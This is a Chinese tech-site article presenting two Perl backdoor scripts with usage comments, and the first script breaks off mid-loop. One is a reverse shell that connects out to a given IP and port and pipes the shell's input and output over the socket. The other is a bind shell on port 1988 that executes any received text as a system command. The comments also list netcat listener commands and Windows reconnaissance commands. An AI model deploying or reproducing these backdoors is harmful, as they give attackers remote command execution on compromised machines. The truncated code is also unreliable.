下面给大家介绍的有关perl正向和反向的相关实例代码解析,你可能还不知道,下面我门一起来看看,希望对需要的朋友有所帮助! 反向连接代码: #!/usr/bin/perl #usage: #nc -vv -l -p PORT(default 1988) on your local system first,then #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. #nc -vv -l -p 1988 #perl backdoor.pl 127.0.0.1 1988 #use strict; use Socket; use IO::Socket; use Cwd; use IO::Handle; my $remote = $ARGV[0] || "127.0.0.1"; my $remote_port = $ARGV[1] || 1988; my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) ); my $path = cwd(); $ARGC = @ARGV; if ( $ARGV[0] !~ /-/ ) { socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') ) or die "socket error: "; STDOUT->autoflush(1); SOCKET->autoflush(1); $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!"; open STDIN, ">&SOCKET"; open STDOUT, ">&SOCKET"; open STDERR, ">&SOCKET"; print "You are in $path\n"; print "Welcome to use.\n"; print "console>\n"; while ( 正向连接代码: #!/usr/bin/perl #ActivePerl 5.8.8 Build 822 #usage: #first:perl backdoor2c.pl #second:nc -vv 127.0.0.1 1988 #net user #ipconfig /all #netstat -anb use IO::Socket; $port = "1988"; my $socket = new IO::Socket::INET( 'Localhost' => '127.0.0.1', 'LocalPort' => $port, 'Listen' => 1, 'Proto' => 'tcp', 'Reuse' => 1 ); die "Reason: $!" unless $socket; while ( my $new_socket = $socket->accept() ) { while ( my $buffer = <$new_socket> ) { if ( $buffer =~ /exit/ ) { exit; } $res_msg = `$buffer`; print $new_socket "$res_msg\ncmd>"; } } 以上有关perl正向和反向的相关实例代码解析就是小编为大家收集整理的全部内容了,希望对大家有所帮助。如果您喜欢这篇文章,可以收藏或分享给您的小伙伴们吧!欢迎持续关注我们的后续更新。 |
免责声明:本站部分文章和图片均来自用户投稿和网络收集,旨在传播知识,文章和图片版权归原作者及原出处所有,仅供学习与参考,请勿用于商业用途,如果损害了您的权利,请联系我们及时修正或删除。谢谢!
始终以前瞻性的眼光聚焦站长、创业、互联网等领域,为您提供最新最全的互联网资讯,帮助站长转型升级,为互联网创业者提供更加优质的创业信息和品牌营销服务,与站长一起进步!让互联网创业者不再孤独!
扫一扫,关注站长网微信